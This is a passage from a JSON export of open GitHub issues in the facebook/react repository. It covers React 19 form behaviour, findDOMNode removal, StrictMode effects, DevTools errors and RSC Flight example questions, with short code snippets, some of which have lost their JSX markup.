{ "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 15, "created_at": "2024-05-12T19:16:25Z", "updated_at": "2026-03-08T21:01:00Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Splits from https://github.com/WordPress/gutenberg/issues/61598 & https://github.com/WordPress/gutenberg/pull/61599\r\n\r\nThe current explanation about \"[additionalHooks](https://github.com/facebook/react/tree/main/packages/eslint-plugin-react-hooks#advanced-configuration)\" under `react-hooks/exhaustive-deps` might be misleading. The regex in the example catches more than needed.\r\n\r\nThis:\r\n```json\r\n\"additionalHooks\": \"(useMyCustomHook|useMyOtherCustomHook)\"\r\n```\r\n\r\nWill catch also things like this:\r\n```js\r\nfunction App() {\r\n\tconst data1 = useMyCustomHook2();\r\n\tconst data2 = useMyOtherCustomHookTest();\r\n\r\n\t// ...\r\n}\r\n```\r\n\r\nThis might be the reason why Gutenberg used the same approach (which caused the bug mentioned above):\r\nhttps://github.com/WordPress/gutenberg/blob/2df566c771dba22eec2841081a00963a2e56658c/packages/eslint-plugin/configs/react.js#L37-L42", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29045/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 29046 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/29034", "id": 2286939719, "node_id": "I_kwDOAJy2Ks6IT-5H", "number": 29034, "title": "[React 19] allow opting out of automatic form reset when Form Actions are used", "user": { "login": "stefanprobst", "id": 20753323, "node_id": "MDQ6VXNlcjIwNzUzMzIz", "avatar_url": "https://avatars.githubusercontent.com/u/20753323?v=4", "gravatar_id": "", "url": "https://api.github.com/users/stefanprobst", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 6688277426, "node_id": "LA_kwDOAJy2Ks8AAAABjqcDsg", "url": "https://api.github.com/repos/facebook/react/labels/React%2019", "name": "React 19", "color": "263258", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 95, "created_at": "2024-05-09T05:46:15Z", "updated_at": "2026-01-04T20:15:41Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "## Summary\r\n\r\nrepo: https://github.com/stefanprobst/issue-react-19-form-reset\r\n\r\nreact 19@beta currently will automatically reset a form with uncontrolled components after submission. it would be really cool if there was a way to opt out of this behavior, without having to fall back to using controlled components - especially since component libraries (e.g. [`react-aria`](https://react-spectrum.adobe.com/react-aria/forms.html)) have invested quite a bit of time to work well as uncontrolled form elements.\r\n\r\nthe main usecase i am thinking of are forms which allow saving progress, or saving a draft, before final submit. currently, every \"save progress\" would reset the form.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29034/reactions", "total_count": 111, "+1": 104, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 7 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/28956", "id": 2271032331, "node_id": "I_kwDOAJy2Ks6HXTQL", "number": 28956, "title": "[React 19] react-reconciler README is missing scheduler and form hooks", "user": { "login": "CodyJasonBennett", "id": 23324155, "node_id": "MDQ6VXNlcjIzMzI0MTU1", "avatar_url": "https://avatars.githubusercontent.com/u/23324155?v=4", "gravatar_id": "", "url": "https://api.github.com/users/CodyJasonBennett", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 6688277426, "node_id": "LA_kwDOAJy2Ks8AAAABjqcDsg", "url": "https://api.github.com/repos/facebook/react/labels/React%2019", "name": "React 19", "color": "263258", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 16, "created_at": "2024-04-30T09:58:51Z", "updated_at": "2026-01-26T15:09:17Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "## Summary\n\nI've been working on updating the types for react-reconciler, and found methods are still missing from its README after recent updates. These are detailed in https://github.com/pmndrs/react-three-fiber/pull/3242 based on implementation, but they are as follows:\n- `NotPendingTransition`, `HostTransitionContext` #26722\n- `setCurrentUpdatePriority`, `getCurrentUpdatePriority`, `resolveUpdatePriority` #28751\n- `resetFormInstance` #28804\n- `requestPostPaintCallback` #25105\n- `shouldAttemptEagerTransition` #26025\n- `trackSchedulerEvent` #31528\n- `resolveEventType`, `resolveEventTimeStamp` #31008\n\nI can open a PR for updating the README specifically, but I haven't looked deeper to see if there was anything else missing in the repo.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/28956/reactions", "total_count": 12, "+1": 12, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/28926", "id": 2265962706, "node_id": "I_kwDOAJy2Ks6HD9jS", "number": 28926, "title": "[React 19] Removal of `ReactDOM.findDOMNode`", "user": { "login": "migueloller", "id": 5677929, "node_id": "MDQ6VXNlcjU2Nzc5Mjk=", "avatar_url": "https://avatars.githubusercontent.com/u/5677929?v=4", "gravatar_id": "", "url": "https://api.github.com/users/migueloller", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929153, "node_id": "MDU6TGFiZWw0MDkyOTE1Mw==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement", "name": "Type: Enhancement", "color": "84b6eb", "default": false, "description": null }, "1": { "id": 6688277426, "node_id": "LA_kwDOAJy2Ks8AAAABjqcDsg", "url": "https://api.github.com/repos/facebook/react/labels/React%2019", "name": "React 19", "color": "263258", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 23, "created_at": "2024-04-26T14:55:48Z", "updated_at": "2025-08-28T12:20:56Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "## Summary\r\n\r\nReact 19 removes the deprecated `ReactDOM.findDOMNode` utility. While this utility was an escape hatch and refs are the recommended way to access the DOM, in certain cases, `findDOMNode` was the only solution using a React API. Let me explain.\r\n\r\nI maintain `@makeswift/runtime`, hosted at https://github.com/makeswift/makeswift, which is the SDK for [Makeswift](https://www.makeswift.com/), a visual editor for Next.js and React. Users of Makeswift can register React components with Makeswift so that they're available to drop in the Makeswift builder. We leverage `findDOMNode` so that we can find registered component's DOM nodes when users don't use `forwardRef` (or in React 19, handle the `ref` prop).\r\n\r\nHere's how we use `findDOMNode`: https://github.com/makeswift/makeswift/blob/58f425cf522c23af4a71b2f07a7625b252c59a5e/packages/runtime/src/runtimes/react/find-dom-node.tsx\r\n\r\nWhile we could force users to use `forwardRef`, a very important product philosophy of Makeswift is that we meet developers where they're at. We don't want them to have to make _any_ changes to their components. Their components shouldn't know about Makeswift, and if they weren't forwarding a ref then introducing Makeswift shouldn't make them do so.\r\n\r\nIn the same vein, we also don't want to alter the DOM in any way, so alternatives like using a `div` with `display: contents` are a no-go for us.\r\n\r\nIdeally, we'd be able to use refs with a `React.Fragment`, but that API doesn't exist yet. This leaves us with the alternative of requiring users to forward refs in their components or reaching for React internals, like React DevTools does to associate a DOM node with rendered components. We'd like to avoid using internals but without `findDOMNode`, that might be what we have to do since we'd rather do that than force users to have to forward refs.\r\n\r\nWould love to hear thoughts and guidance on what the expectation is for library maintainers to do for this use case that can't be handled with refs. Is the suggested approach to use React internals like React DevTools does? Or perhaps support for refs in `React.Fragment` is on the way?\r\n\r\nThanks!\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/28926/reactions", "total_count": 28, "+1": 28, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/28898", "id": 2260098766, "node_id": "I_kwDOAJy2Ks6Gtl7O", "number": 28898, "title": "Bug: StrictMode is not preventing side effects", "user": { "login": "theKashey", "id": 582410, "node_id": "MDQ6VXNlcjU4MjQxMA==", "avatar_url": "https://avatars.githubusercontent.com/u/582410?v=4", "gravatar_id": "", "url": "https://api.github.com/users/theKashey", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2024-04-24T01:40:46Z", "updated_at": "2024-08-16T10:36:21Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "React version: any with StrictMode\r\n\r\n## Steps To Reproduce\r\n\r\n1. Create a few components with improper or absent memoization\r\n2. Create `useEffect` with unstable dependency\r\n3. Observe how `StrictMode` is not able to help here\r\n\r\n- Incorrect code\r\n```tsx\r\nconst {propA, propB, ...rest} = propsC;\r\n\r\nuseEffect(() => {\r\n // some effect not expected executed on every render\r\n}, [rest]);\r\n// ^^ rest is \"unstable\"\r\n```\r\n```tsx\r\n {}}\r\n // we dont know what Component will do with unstable callback. May be something, may be not\r\n/>\r\n```\r\n\r\n- Correct code\r\n ```tsx\r\nconst {propA, propB, rest} = useMemo(() => {\r\n const {propA, propB, ...rest} = propsC;\r\n return {propA, propB, rest};\r\n}, [propC]);\r\n\r\nuseEffect(() => {\r\n // some effect not expected executed on every render\r\n}, [rest]);\r\n// ^^ rest is \"stable\"\r\n```\r\n```tsx\r\n {},[])}\r\n/>\r\n```\r\n\r\n## The current behavior\r\n\r\n>If a function is pure, running it twice does not change its behavior because a pure function produces the same result every time. However, if a function is impure (for example, it mutates the data it receives), running it twice tends to be noticeable (that’s what makes it impure!) This helps you spot and fix the bug early.\r\n\r\nhttps://react.dev/reference/react/StrictMode\r\n\r\nI personally never found this behaviour any helpful. It never helped me find a bug, especially a bug related to useEffect.\r\n\r\n## The expected behavior\r\n\r\nI would assume that `StrictMode` should not try to execute `useEffect` twice - it should render Component twice and ensure no `useEffect` or `useMemo` is invalidated.\r\nIdeally, it should cause full application re-render to detect memoization issues spanning across multiple components, like using `children` in effect dependencies or passing unstable prop to a component with `useEffect` as such case cannot be detected by isolated re-render.\r\n\r\n----\r\n\r\nReact Forget is going to change the game rules and automatically fix the problems from above, but how one can prove it without having a corresponding testing functionality one can trust?\r\nUnfortunately, this is something very hard to implement in the user space, simultaneously something causing incidents (performance as well as reliability) on a weekly basic\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/28898/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/28787", "id": 2232459186, "node_id": "I_kwDOAJy2Ks6FEJ-y", "number": 28787, "title": "[DevTools Bug]: TypeError: ie.handlePostCommitFiberRoot is not a function", "user": { "login": "rickhanlonii", "id": 2440089, "node_id": "MDQ6VXNlcjI0NDAwODk=", "avatar_url": "https://avatars.githubusercontent.com/u/2440089?v=4", "gravatar_id": "", "url": "https://api.github.com/users/rickhanlonii", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "2": { "id": 6688277426, "node_id": "LA_kwDOAJy2Ks8AAAABjqcDsg", "url": "https://api.github.com/repos/facebook/react/labels/React%2019", "name": "React 19", "color": "263258", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": { "0": { "login": "hoxyq", "id": 28902667, "node_id": "MDQ6VXNlcjI4OTAyNjY3", "avatar_url": "https://avatars.githubusercontent.com/u/28902667?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hoxyq", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 3, "created_at": "2024-04-09T01:55:40Z", "updated_at": "2024-04-09T13:26:54Z", "closed_at": null, "assignee": { "login": "hoxyq", "id": 28902667, "node_id": "MDQ6VXNlcjI4OTAyNjY3", "avatar_url": "https://avatars.githubusercontent.com/u/28902667?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hoxyq", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "MEMBER", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\r\n\r\nhttps://codesandbox.io/s/goofy-bas-n5djr8\r\n\r\n### Repro steps\r\n\r\nI believe this is a bug when using React DevTools v4.x.x (not 5.x.x) with ``. It currently errors in embeded code sandbox (which embeds v4 of DevTools) but not when you open in a new tab (I have DevTools 5.xx installed).\r\n\r\nTo repo, create an error boundary, and throw an error inside it using the 19 canary and v4 of DevTools.\r\n\r\nOr, see the sandbox link above and:\r\n\r\n1. View sandbox\r\n2. Click \"throw error\"\r\n3. Observe \"handlePostCommitFiberRoot is not a function\" in console\r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### DevTools package (automated)\r\n\r\nembeded code sandbox version\r\n\r\n### DevTools version (automated)\r\n\r\n4.4.0-f749045a5\r\n\r\n### Error message (automated)\r\n\r\nhandlePostCommitFiberRoot is not a function\r\n\r\n### Error call stack (automated)\r\n\r\n_No response_\r\n\r\n### Error component stack (automated)\r\n\r\n_No response_\r\n\r\n### GitHub query string (automated)\r\n\r\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/28787/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/28777", "id": 2229630651, "node_id": "I_kwDOAJy2Ks6E5Xa7", "number": 28777, "title": "[DevTools Bug] Children cannot be added or removed during a reorder operation.", "user": { "login": "amalfrost", "id": 44580362, "node_id": "MDQ6VXNlcjQ0NTgwMzYy", "avatar_url": "https://avatars.githubusercontent.com/u/44580362?v=4", "gravatar_id": "", "url": "https://api.github.com/users/amalfrost", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 6, "created_at": "2024-04-07T08:30:58Z", "updated_at": "2024-10-08T08:39:18Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://redeemerllc.com\n\n### Repro steps\n\nwhen searching the products\r\n\n\n### How often does this bug happen?\n\nOften\n\n### DevTools package (automated)\n\nreact-devtools-extensions\n\n### DevTools version (automated)\n\n5.0.2-47cf347e4\n\n### Error message (automated)\n\nChildren cannot be added or removed during a reorder operation.\n\n### Error call stack (automated)\n\n```text\nat chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1134857\r\n at A.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1101500)\r\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1103188\r\n at bridgeListener (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1509150)\n```\n\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n```text\nhttps://api.github.com/search/issues?q=Children cannot be added or removed during a reorder operation. in:title is:issue is:open is:public label:\"Component: Developer Tools\" repo:facebook/react\n```\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/28777/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/28767", "id": 2228316627, "node_id": "I_kwDOAJy2Ks6E0WnT", "number": 28767, "title": "[DevTools Bug]: Can’t import chrome trace into react devtools", "user": { "login": "dinkinflickaa", "id": 5317985, "node_id": "MDQ6VXNlcjUzMTc5ODU=", "avatar_url": "https://avatars.githubusercontent.com/u/5317985?v=4", "gravatar_id": "", "url": "https://api.github.com/users/dinkinflickaa", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2024-04-05T15:34:48Z", "updated_at": "2024-04-28T21:47:52Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\r\n\r\nhttps://tsk9sq.csb.app/\r\n\r\n### Repro steps\r\n\r\n1. Go to the page and open devtools\r\n2. Go to performance tab and start recording\r\n3. Interact with the application\r\n4. Stop recording\r\n5. Download trace\r\n6. Upload to react devtools\r\n7. Expected - React timeline tab should display trace\r\n8. Actual - React devtools fails to import the trace and shows an error - \"e.sort is not a function. Try importing another Chrome performance profile.\"\r\n![image](https://github.com/facebook/react/assets/5317985/a292d82b-36d0-4924-9e9d-1681b60fe17a)\r\n\r\nI think its is an issue with how we are parsing the chrome trace [here](https://github.com/facebook/react/blob/e3ebcd54b98a4f8f5a9f7e63982fa75578b648ed/packages/react-devtools-timeline/src/import-worker/importFile.js#L22C1-L23C1).\r\nChrome outputs the trace file in the following format:\r\n```json\r\n{\r\n \"traceEvents\": [\r\n {\"name\": \"Asub\", \"cat\": \"PERF\", \"ph\": \"B\", \"pid\": 22630, \"tid\": 22630, \"ts\": 829},\r\n {\"name\": \"Asub\", \"cat\": \"PERF\", \"ph\": \"E\", \"pid\": 22630, \"tid\": 22630, \"ts\": 833}\r\n ],\r\n \"displayTimeUnit\": \"ns\",\r\n \"systemTraceEvents\": \"SystemTraceData\",\r\n \"otherData\": {\r\n \"version\": \"My Application v1.0\"\r\n },\r\n \"stackFrames\": {...}\r\n \"samples\": [...],\r\n}\r\n```\r\n \r\n but react devtools expects the file to contain only `traceEvents` array. \r\nReact DevTools should be able to handle both formats because they are valid according to this document: https://docs.google.com/document/d/1CvAClvFfyA5R-PhYUmn5OOQtYMH4h6I0nSsKchNAySU/preview\r\n \r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### DevTools package (automated)\r\n\r\n_No response_\r\n\r\n### DevTools version (automated)\r\n\r\n_No response_\r\n\r\n### Error message (automated)\r\n\r\n_No response_\r\n\r\n### Error call stack (automated)\r\n\r\n_No response_\r\n\r\n### Error component stack (automated)\r\n\r\n_No response_\r\n\r\n### GitHub query string (automated)\r\n\r\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/28767/reactions", "total_count": 2, "+1": 2, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/28589", "id": 2195194597, "node_id": "I_kwDOAJy2Ks6C2ALl", "number": 28589, "title": "Bug: Flight (RSC) examples are not accessible", "user": { "login": "kettanaito", "id": 14984911, "node_id": "MDQ6VXNlcjE0OTg0OTEx", "avatar_url": "https://avatars.githubusercontent.com/u/14984911?v=4", "gravatar_id": "", "url": "https://api.github.com/users/kettanaito", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2024-03-19T14:53:01Z", "updated_at": "2024-03-19T18:27:06Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\nThank you for featuring a few `flight` examples on the barebones of RSC! They have been tremendously helpful to me in understanding the model.\r\n\r\nThat being said, I find myself lost in them. I know it's not an issue per se but I'd be thankful if you consider this feedback and maybe even improve on the examples as the result of it. \r\n\r\n## Feedback\r\n\r\nMy feedback comes down to a few random questions and a few fundamental questions to the RSC model and how to get the right image of it in my head. Please note I'm mainly focusing on understanding the _internals_ of RSC (ala I want to build an RSC rendering/serving pipeline from scratch). \r\n\r\n### Random questions\r\n\r\n#### 1. **Why do this request forwarding?**\r\n\r\nhttps://github.com/facebook/react/blob/9c75cd5e84c4c524f42e65027cfd3dce746d6916/fixtures/flight-esm/server/global.js#L52-L61\r\n\r\nWhy not split endpoints and have them clear:\r\n- This returns the initial HTML;\r\n- This returns whichever Server Action data is passed to the server component. \r\n\r\nPutting it all in a single request handler makes the example significantly harder to grasp. I get it, these are not educational materials but a bit of documentation and structuring would go a long way. \r\n\r\n#### 2. **Why are \"global\" and \"region\" server implementations so dramatically different?**\r\n\r\nI thought those represented the target of your deployment but they straight changed the approach to rendering completely.\r\n\r\nThey also run in different contexts:\r\n- \"global\" runs with the \"--condition react-server\" condition.\r\n- \"region\" does not.\r\n\r\nI get it, they rely on different packages but I fail to see how those implementations co-exist (_do_ they co-exist? Is it like \"deploy region.js when building APP_1, and deploy global.js when building APP_2?). Are those two different ways to implement RSC or one inseparable whole split into two parts?\r\n\r\nThey have to because some actually render the HTML while others just return serialized components from the endpoints. How am I supposed to combine the two? Run two servers...?\r\n\r\n#### 3. How does this code compile?\r\n\r\nhttps://github.com/facebook/react/blob/9c75cd5e84c4c524f42e65027cfd3dce746d6916/fixtures/flight-esm/src/index.js#L4\r\n\r\nThat package has no source on NPM. There's an issue open about it (#27197). An oversight? Would pretty much like to have an ESM version of the binding because others imply I'm using a compiler (webpack/turbopack), which I'm not.\r\n\r\nI think the ESM example is actually the one I'm the most interested in because it doesn't need a compiler. \r\n\r\n#### 4. Why does only the \"region\" server of the ESM example import the action?\r\n\r\nhttps://github.com/facebook/react/blob/9c75cd5e84c4c524f42e65027cfd3dce746d6916/fixtures/flight-esm/server/region.js#L57\r\n\r\nIs this logic not applicable to other examples, like when using webpack or turobpack? Do the compilers extract and save the actions in the manifest json? A little bit of documentation on this would be fantastic (I will touch on it at the end).\r\n\r\n#### 5. How does this even run?\r\n\r\nhttps://github.com/facebook/react/blob/9c75cd5e84c4c524f42e65027cfd3dce746d6916/fixtures/flight-browser/index.html#L23\r\n\r\nThe bundle it points to contains `__webpack_require__` expressions, which will fail in the browser:\r\n\r\nhttps://www.unpkg.com//umd/react-server-dom-webpack-client.browser.development.js\r\n\r\nI feel like this index.html is missing some setup around and does not illustrate the example in isolation (relies on webpack anyway?).\r\n\r\n#### 6. Why do examples use babel?\r\n\r\nI suspect it's to transform JSX to `React.createElement()` calls but I'd love to read a bit more about _when_ that transformation happens. I see some examples use a custom `--loader` for Node.js. Is that related? Do you use that loader to pass imported things through Babel? \r\n\r\nThis may be the answer to the question I have regarding custom components as those will not render using `react-dom` or any other packages:\r\n\r\n```js\r\nimport { renderToPipeableStream } from 'react-dom/server'\r\n\r\nfunction Button() {\r\n return \r\n}\r\n\r\nrenderToPipeableStream(React.createElement(Button.type, Button.props, Button.props.children))\r\n// Error!\r\n```\r\n\r\n#### 7. Is there a place for a more developer-friendly API?\r\n\r\nImagine I want to build a tool on top of the RSC protocol. Do you really have to implement those server endpoints by myself? Analyze `text/x-component`, decode the Server Actions? What happens if React changes how those behave? This looks like it would benefit greatly from a higher-level public API. \r\n\r\n### Fundamental questions\r\n\r\n1. Can we please collaborate and come up with a series of diagrams that explain the underlying implementation of RSC _incrementally_? Things like: okay, there are 2/3/4 parts to an RSC:\r\n\r\n- Server part, where you have a `GET /` endpoint that takes a component and pipes its render stream to the response to return the initial, non-interactive HTML from the server.\r\n- Server part, were you also have a `GET /` for some reason but now it uses a different DOM binding that doesn't return an HTML but instead some serialized representation of the component tree (i.e. `0:[$, \"\r\n \r\n );\r\n};\r\n```\r\n\r\n## The current behavior\r\n\r\nI see every added item 2 times.\r\n\r\n## The expected behavior\r\n\r\nIf I add 3 elements, I should see 3 items in the list, not 6.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/28574/reactions", "total_count": 15, "+1": 15, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/28505", "id": 2171071017, "node_id": "I_kwDOAJy2Ks6BZ-op", "number": 28505, "title": "Bug: Class component with `defaultProps` not merging props correctly in `componentDidMount`", "user": { "login": "amitdahan", "id": 9748762, "node_id": "MDQ6VXNlcjk3NDg3NjI=", "avatar_url": "https://avatars.githubusercontent.com/u/9748762?v=4", "gravatar_id": "", "url": "https://api.github.com/users/amitdahan", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2024-03-06T09:45:18Z", "updated_at": "2024-07-20T11:03:08Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\nReact version: `18.2.0`\r\n\r\n## Steps To Reproduce\r\n\r\n1. Have a `lazy`-wrapped, class-component with `defaultProps`, `componentDidMount` and `componentWillUnmount`.\r\n2. Using `StrictMode`, on initial call to `componentDidMount`, `this.props` contains `defaultProps` correctly.\r\n3. On 2nd mount - `this.props` isn't merged with `defaultProps` 